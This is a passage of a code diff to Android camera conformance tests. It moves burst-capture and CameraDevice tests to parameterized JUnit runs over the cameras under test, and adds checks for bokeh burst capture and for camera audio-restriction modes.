+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
import org.junit.Test;
/**
* Basic tests for burst capture in RAW formats.
*/
+@RunWith(Parameterized.class)
public class BurstCaptureRawTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "BurstCaptureRawTest";
private static final int RAW_FORMATS[] = {
@@ -71,7 +74,7 @@
@Test
public void testRawSensorSize() throws Exception {
Log.i(TAG, "Begin testRawSensorSize");
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
ArrayList<Integer> supportedRawList = new ArrayList<Integer>(RAW_FORMATS.length);
if (!checkCapability(id, supportedRawList, RAW_FORMATS)) {
@@ -675,7 +678,7 @@
private void performTestRoutine(TestRoutine routine, int[] testedFormats) throws Exception
{
final int PREPARE_TIMEOUT_MS = 10000;
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
ArrayList<Integer> supportedRawList = new ArrayList<Integer>(RAW_FORMATS.length);
if (!checkCapability(id, supportedRawList, testedFormats)) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
index 03dbdeb..cfe1db3 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
@@ -23,8 +23,10 @@
import android.hardware.camera2.CaptureRequest;
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
+import android.hardware.camera2.params.Capability;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.media.Image;
import android.util.Log;
@@ -34,8 +36,11 @@
import java.util.List;
import java.util.ArrayList;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
import org.junit.Test;
+@RunWith(Parameterized.class)
public class BurstCaptureTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "BurstCaptureTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -48,7 +53,8 @@
@Test
public void testYuvBurst() throws Exception {
final int YUV_BURST_SIZE = 100;
- testBurst(ImageFormat.YUV_420_888, YUV_BURST_SIZE, true/*checkFrameRate*/);
+ testBurst(ImageFormat.YUV_420_888, YUV_BURST_SIZE, true/*checkFrameRate*/,
+ false/*testBokehMode*/);
}
/**
@@ -61,13 +67,26 @@
@Test
public void testJpegBurst() throws Exception {
final int JPEG_BURST_SIZE = 10;
- testBurst(ImageFormat.JPEG, JPEG_BURST_SIZE, false/*checkFrameRate*/);
+ testBurst(ImageFormat.JPEG, JPEG_BURST_SIZE, false/*checkFrameRate*/,
+ false/*testBokehMode*/);
}
- private void testBurst(int fmt, int burstSize, boolean checkFrameRate) throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ /**
+ * Test YUV burst capture with full-AUTO control and STILL_CAPTURE bokeh mode.
+ * Also verifies sensor settings operation if READ_SENSOR_SETTINGS is available.
+ */
+ @Test
+ public void testYuvBurstWithStillBokeh() throws Exception {
+ final int YUV_BURST_SIZE = 100;
+ testBurst(ImageFormat.YUV_420_888, YUV_BURST_SIZE, true/*checkFrameRate*/,
+ true/*testStillBokeh*/);
+ }
+
+ private void testBurst(int fmt, int burstSize, boolean checkFrameRate, boolean testStillBokeh)
+ throws Exception {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- String id = mCameraIds[i];
+ String id = mCameraIdsUnderTest[i];
StaticMetadata staticInfo = mAllStaticInfo.get(id);
if (!staticInfo.isColorOutputSupported()) {
@@ -85,8 +104,21 @@
continue;
}
+ Capability[] bokehCaps = staticInfo.getAvailableBokehCapsChecked();
+ boolean supportStillBokeh = false;
+ for (Capability bokehCap : bokehCaps) {
+ if (bokehCap.getMode() == CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE) {
+ supportStillBokeh = true;
+ break;
+ }
+ }
+ if (testStillBokeh && !supportStillBokeh) {
+ Log.v(TAG, "Device doesn't support STILL_CAPTURE bokeh. Skip the test");
+ continue;
+ }
+
openDevice(id);
- burstTestByCamera(id, fmt, burstSize, checkFrameRate);
+ burstTestByCamera(id, fmt, burstSize, checkFrameRate, testStillBokeh);
} finally {
closeDevice();
closeImageReader();
@@ -95,7 +127,7 @@
}
private void burstTestByCamera(String cameraId, int fmt, int burstSize,
- boolean checkFrameRate) throws Exception {
+ boolean checkFrameRate, boolean testStillBokeh) throws Exception {
// Parameters
final int MAX_CONVERGENCE_FRAMES = 150; // 5 sec at 30fps
final long MAX_PREVIEW_RESULT_TIMEOUT_MS = 2000;
@@ -147,6 +179,12 @@
targetRange);
burstBuilder.set(CaptureRequest.CONTROL_AE_LOCK, true);
burstBuilder.set(CaptureRequest.CONTROL_AWB_LOCK, true);
+ if (testStillBokeh) {
+ previewBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE,
+ CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE);
+ burstBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE,
+ CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE);
+ }
// Create session and start up preview
diff --git a/tests/camera/src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java b/tests/camera/src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java
index 4bd6186..ab2f842 100644
--- a/tests/camera/src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java
+++ b/tests/camera/src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java
@@ -82,7 +82,7 @@
return true;
} else {
Log.i(TAG, "Wait for surface changed to " + expectWidth + "x" +
- "expectHeight. Got " + currentWidth + "x" + currentHeight +
+ expectHeight + ". Got " + currentWidth + "x" + currentHeight +
". Keep waiting");
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index a64cd50..73e3828 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -67,6 +67,9 @@
import java.util.Set;
import android.util.Size;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import org.mockito.ArgumentMatcher;
import java.util.concurrent.Executor;
@@ -76,6 +79,8 @@
/**
* <p>Basic test for CameraDevice APIs.</p>
*/
+
+@RunWith(Parameterized.class)
public class CameraDeviceTest extends Camera2AndroidTestCase {
private static final String TAG = "CameraDeviceTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -114,16 +119,15 @@
}
@Override
- public void setContext(Context context) {
- super.setContext(context);
-
+ public void setUp() throws Exception {
+ super.setUp();
/**
* Workaround for mockito and JB-MR2 incompatibility
*
* Avoid java.lang.IllegalArgumentException: dexcache == null
* https://code.google.com/p/dexmaker/issues/detail?id=2
*/
- System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
+ System.setProperty("dexmaker.dexcache", mContext.getCacheDir().toString());
/**
* Create error listener in context scope, to catch asynchronous device error.
@@ -131,11 +135,6 @@
* implementation (spy doesn't stub the functions unless we ask it to do so).
*/
mCameraMockListener = spy(new BlockingStateCallback());
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
/**
* Due to the asynchronous nature of camera device error callback, we
* have to make sure device doesn't run into error state before. If so,
@@ -154,7 +153,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
super.tearDown();
}
@@ -176,9 +175,10 @@
* settings.</li>
* </ul>
*/
+ @Test
public void testCameraDevicePreviewTemplate() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
- captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_PREVIEW);
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_PREVIEW);
}
// TODO: test the frame rate sustainability in preview use case test.
@@ -202,9 +202,10 @@
* frame rate for the given settings.</li>
* </ul>
*/
+ @Test
public void testCameraDeviceStillTemplate() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
- captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_STILL_CAPTURE);
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_STILL_CAPTURE);
}
}
@@ -222,9 +223,10 @@
* <li>Frame rate should be stable, for example, wide fps range like [7, 30]
* is a bad setting.</li>
*/
+ @Test
public void testCameraDeviceRecordingTemplate() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
- captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_RECORD);
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_RECORD);
}
// TODO: test the frame rate sustainability in recording use case test.
@@ -238,9 +240,10 @@
* as recording, with an additional requirement: the settings should maximize image quality
* without compromising stable frame rate.</p>
*/
+ @Test
public void testCameraDeviceVideoSnapShotTemplate() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
- captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_VIDEO_SNAPSHOT);
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_VIDEO_SNAPSHOT);
}
// TODO: test the frame rate sustainability in video snapshot use case test.
@@ -253,9 +256,10 @@
* metadata keys, and their values must be set correctly. It has the similar requirement
* as preview, with an additional requirement: </p>
*/
+ @Test
public void testCameraDeviceZSLTemplate() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
- captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG);
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG);
}
}
@@ -276,16 +280,18 @@
* set to reasonable defaults.</li>
* </ul>
*/
+ @Test
public void testCameraDeviceManualTemplate() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
- captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_MANUAL);
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_MANUAL);
}
}
+ @Test
public void testCameraDeviceCreateCaptureBuilder() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
/**
* Test: that each template type is supported, and that its required fields are
* present.
@@ -331,16 +337,17 @@
try {
closeSession();
} finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
}
+ @Test
public void testCameraDeviceSetErrorListener() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
/**
* Test: that the error listener can be set without problems.
* Also, wait some time to check if device doesn't run into error.
@@ -355,27 +362,31 @@
try {
closeSession();
} finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
}
+ @Test
public void testCameraDeviceCapture() throws Exception {
runCaptureTest(/*burst*/false, /*repeating*/false, /*abort*/false, /*useExecutor*/false);
runCaptureTest(/*burst*/false, /*repeating*/false, /*abort*/false, /*useExecutor*/true);
}
+ @Test
public void testCameraDeviceCaptureBurst() throws Exception {
runCaptureTest(/*burst*/true, /*repeating*/false, /*abort*/false, /*useExecutor*/false);
runCaptureTest(/*burst*/true, /*repeating*/false, /*abort*/false, /*useExecutor*/true);
}
+ @Test
public void testCameraDeviceRepeatingRequest() throws Exception {
runCaptureTest(/*burst*/false, /*repeating*/true, /*abort*/false, /*useExecutor*/false);
runCaptureTest(/*burst*/false, /*repeating*/true, /*abort*/false, /*useExecutor*/true);
}
+ @Test
public void testCameraDeviceRepeatingBurst() throws Exception {
runCaptureTest(/*burst*/true, /*repeating*/true, /*abort*/false, /*useExecutor*/ false);
runCaptureTest(/*burst*/true, /*repeating*/true, /*abort*/false, /*useExecutor*/ true);
@@ -389,6 +400,7 @@
* discarding in-progress work. Once the abort is complete, the idle callback will be called.
* </p>
*/
+ @Test
public void testCameraDeviceAbort() throws Exception {
runCaptureTest(/*burst*/false, /*repeating*/true, /*abort*/true, /*useExecutor*/false);
runCaptureTest(/*burst*/false, /*repeating*/true, /*abort*/true, /*useExecutor*/true);
@@ -414,10 +426,11 @@
/**
* Test invalid capture (e.g. null or empty capture request).
*/
+ @Test
public void testInvalidCapture() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
prepareCapture();
@@ -427,7 +440,7 @@
closeSession();
}
finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
@@ -442,6 +455,7 @@
* onCaptureCompleted -> createCaptureRequest, getDevice, abortCaptures,
* capture, setRepeatingRequest, stopRepeating, session+device.close
*/
+ @Test
public void testChainedOperation() throws Throwable {
final ArrayList<Surface> outputs = new ArrayList<>();
@@ -585,13 +599,13 @@
// Actual test code
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
Throwable result;
- if (!(new StaticMetadata(mCameraManager.getCameraCharacteristics(mCameraIds[i]))).
+ if (!(new StaticMetadata(mCameraManager.getCameraCharacteristics(mCameraIdsUnderTest[i]))).
isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
@@ -602,7 +616,7 @@
// Start chained cascade
ChainedCameraListener cameraListener = new ChainedCameraListener();
- mCameraManager.openCamera(mCameraIds[i], cameraListener, mHandler);
+ mCameraManager.openCamera(mCameraIdsUnderTest[i], cameraListener, mHandler);
// Check if open succeeded
result = results.poll(CAMERA_OPEN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
@@ -648,21 +662,22 @@
* Verify basic semantics and error conditions of the prepare call.
*
*/
+ @Test
public void testPrepare() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
prepareTestByCamera();
}
finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
@@ -671,26 +686,27 @@
* Verify prepare call behaves properly when sharing surfaces.
*
*/
+ @Test
public void testPrepareForSharedSurfaces() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+ StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
if (staticInfo.isHardwareLevelLegacy()) {
- Log.i(TAG, "Camera " + mCameraIds[i] + " is legacy, skipping");
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] + " is legacy, skipping");
continue;
}
if (!staticInfo.isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
prepareTestForSharedSurfacesByCamera();
}
finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
@@ -698,21 +714,22 @@
/**
* Verify creating sessions back to back.
*/
+ @Test
public void testCreateSessions() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
- testCreateSessionsByCamera(mCameraIds[i]);
+ testCreateSessionsByCamera(mCameraIdsUnderTest[i]);
}
finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
@@ -720,21 +737,22 @@
/**
* Verify creating a custom session
*/
+ @Test
public void testCreateCustomSession() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
- testCreateCustomSessionByCamera(mCameraIds[i]);
+ testCreateCustomSessionByCamera(mCameraIdsUnderTest[i]);
}
finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
@@ -808,6 +826,7 @@
/**
* Test session configuration.
*/
+ @Test
public void testSessionConfiguration() throws Exception {
ArrayList<OutputConfiguration> outConfigs = new ArrayList<OutputConfiguration> ();
outConfigs.add(new OutputConfiguration(new Size(1, 1), SurfaceTexture.class));
@@ -856,14 +875,14 @@
assertEquals("Session configuration input doesn't match",
highspeedSessionConfig.getInputConfiguration(), null);
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
CaptureRequest.Builder builder =
@@ -881,7 +900,7 @@
highspeedSessionConfig.getSessionParameters());
}
finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
@@ -889,21 +908,22 @@
/**
* Check for any state leakage in case of internal re-configure
*/
+ @Test
public void testSessionParametersStateLeak() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
- testSessionParametersStateLeakByCamera(mCameraIds[i]);
+ testSessionParametersStateLeakByCamera(mCameraIdsUnderTest[i]);
}
finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
@@ -1059,22 +1079,23 @@
/**
* Verify creating a session with additional parameters.
*/
+ @Test
public void testCreateSessionWithParameters() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
- testCreateSessionWithParametersByCamera(mCameraIds[i], /*reprocessable*/false);
- testCreateSessionWithParametersByCamera(mCameraIds[i], /*reprocessable*/true);
+ testCreateSessionWithParametersByCamera(mCameraIdsUnderTest[i], /*reprocessable*/false);
+ testCreateSessionWithParametersByCamera(mCameraIdsUnderTest[i], /*reprocessable*/true);
}
finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
@@ -1596,9 +1617,9 @@
*/
private void runCaptureTest(boolean burst, boolean repeating, boolean abort,
boolean useExecutor) throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- openDevice(mCameraIds[i], mCameraMockListener);
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
prepareCapture();
@@ -1617,13 +1638,13 @@
continue;
}
- captureSingleShot(mCameraIds[i], sTemplates[j], repeating, abort,
+ captureSingleShot(mCameraIdsUnderTest[i], sTemplates[j], repeating, abort,
useExecutor);
}
}
else {
// Test: burst of one shot
- captureBurstShot(mCameraIds[i], sTemplates, 1, repeating, abort, useExecutor);
+ captureBurstShot(mCameraIdsUnderTest[i], sTemplates, 1, repeating, abort, useExecutor);
int template = mStaticInfo.isColorOutputSupported() ?
CameraDevice.TEMPLATE_STILL_CAPTURE :
@@ -1637,12 +1658,12 @@
};
// Test: burst of 5 shots of the same template type
- captureBurstShot(mCameraIds[i], templates, templates.length, repeating, abort,
+ captureBurstShot(mCameraIdsUnderTest[i], templates, templates.length, repeating, abort,
useExecutor);
if (mStaticInfo.isColorOutputSupported()) {
// Test: burst of 6 shots of different template types
- captureBurstShot(mCameraIds[i], sTemplates, sTemplates.length, repeating,
+ captureBurstShot(mCameraIdsUnderTest[i], sTemplates, sTemplates.length, repeating,
abort, useExecutor);
}
}
@@ -1658,7 +1679,7 @@
} catch (Exception e) {
mCollector.addError(e);
}finally {
- closeDevice(mCameraIds[i], mCameraMockListener);
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
}
}
}
@@ -2698,4 +2719,178 @@
}
}
}
+
+ /**
+ * Verify audio restrictions are set properly for single CameraDevice usage
+ */
+ @Test
+ public void testAudioRestrictionSingleDevice() throws Exception {
+ int[] testModes = {
+ CameraDevice.AUDIO_RESTRICTION_VIBRATION_SOUND,
+ CameraDevice.AUDIO_RESTRICTION_NONE,
+ CameraDevice.AUDIO_RESTRICTION_VIBRATION,
+ };
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ try {
+ openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
+ waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
+
+ for (int mode : testModes) {
+ mCamera.setCameraAudioRestriction(mode);
+ int retMode = mCamera.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: input: " + mode +
+ ", output:" + retMode, mode == retMode);
+ }
+
+ try {
+ // Test invalid mode
+ mCamera.setCameraAudioRestriction(42);
+ fail("Should get IllegalArgumentException for invalid mode");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+ finally {
+ closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
+ }
+ }
+ }
+
+ private void testTwoCameraDevicesAudioRestriction(String id0, String id1) throws Exception {
+ BlockingStateCallback cam0Cb = new BlockingStateCallback();
+ BlockingStateCallback cam1Cb = new BlockingStateCallback();
+ CameraDevice cam0 = null;
+ CameraDevice cam1 = null;
+ try {
+ cam0 = CameraTestUtils.openCamera(mCameraManager, id0, cam0Cb, mHandler);
+ cam0Cb.waitForState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
+
+ int mode0 = CameraDevice.AUDIO_RESTRICTION_VIBRATION_SOUND;
+ cam0.setCameraAudioRestriction(mode0);
+ int retMode = cam0.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: input: " + mode0 + ", output:" + retMode,
+ retMode == mode0);
+
+ cam1 = CameraTestUtils.openCamera(mCameraManager, id1, cam1Cb, mHandler);
+ cam1Cb.waitForState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
+
+ // See if cam0 is evicted.
+ boolean cam0Evicted = true;
+ try {
+ final int cameraEvictedTimeoutMs = 1000;
+ cam0Cb.waitForState(STATE_DISCONNECTED, cameraEvictedTimeoutMs);
+ } catch (TimeoutRuntimeException e) {
+ // camera 0 is not evicted
+ cam0Evicted = false;
+ }
+
+ if (cam0Evicted) {
+ Log.i(TAG, "Camera " + id0 + " is evicted. Testing camera " + id1 + " alone.");
+ // cam0 is evicted
+ try {
+ cam0.setCameraAudioRestriction(mode0);
+ fail("Should get CameraAccessException for disconnected camera.");
+ } catch (CameraAccessException e) {
+ // expected
+ }
+ // Test the behavior for single remaining client
+ int mode1 = CameraDevice.AUDIO_RESTRICTION_VIBRATION;
+ cam1.setCameraAudioRestriction(mode1);
+ retMode = cam1.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: input: " + mode1 +
+ ", output:" + retMode, retMode == mode1);
+ return;
+ }
+
+ // The output mode should be union of all CameraDevices
+ int mode1 = CameraDevice.AUDIO_RESTRICTION_VIBRATION;
+ int expectMode = mode0 | mode1;
+ cam1.setCameraAudioRestriction(mode1);
+ retMode = cam1.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+ ", output:" + retMode, retMode == expectMode);
+
+ // test turning off mute settings also
+ mode0 = CameraDevice.AUDIO_RESTRICTION_NONE;
+ expectMode = mode0 | mode1;
+ cam0.setCameraAudioRestriction(mode0);
+ retMode = cam0.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+ ", output:" + retMode, retMode == expectMode);
+
+ // mode should be NONE when both device set to NONE
+ mode1 = CameraDevice.AUDIO_RESTRICTION_NONE;
+ expectMode = mode0 | mode1;
+ cam1.setCameraAudioRestriction(mode1);
+ retMode = cam1.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+ ", output:" + retMode, retMode == expectMode);
+
+ // test removal of VIBRATE won't affect existing VIBRATE_SOUND state
+ mode0 = CameraDevice.AUDIO_RESTRICTION_VIBRATION_SOUND;
+ expectMode = mode0 | mode1;
+ cam0.setCameraAudioRestriction(mode0);
+ retMode = cam0.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+ ", output:" + retMode, retMode == expectMode);
+
+ mode1 = CameraDevice.AUDIO_RESTRICTION_VIBRATION;
+ expectMode = mode0 | mode1;
+ cam1.setCameraAudioRestriction(mode1);
+ retMode = cam1.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+ ", output:" + retMode, retMode == expectMode);
+
+ mode1 = CameraDevice.AUDIO_RESTRICTION_NONE;
+ expectMode = mode0 | mode1;
+ cam1.setCameraAudioRestriction(mode1);
+ retMode = cam1.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+ ", output:" + retMode, retMode == expectMode);
+
+ // Now test CameraDevice.close will remove setting and exception is thrown for closed
+ // camera.
+ cam0.close();
+ cam0Cb.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
+ try {
+ cam0.setCameraAudioRestriction(mode0);
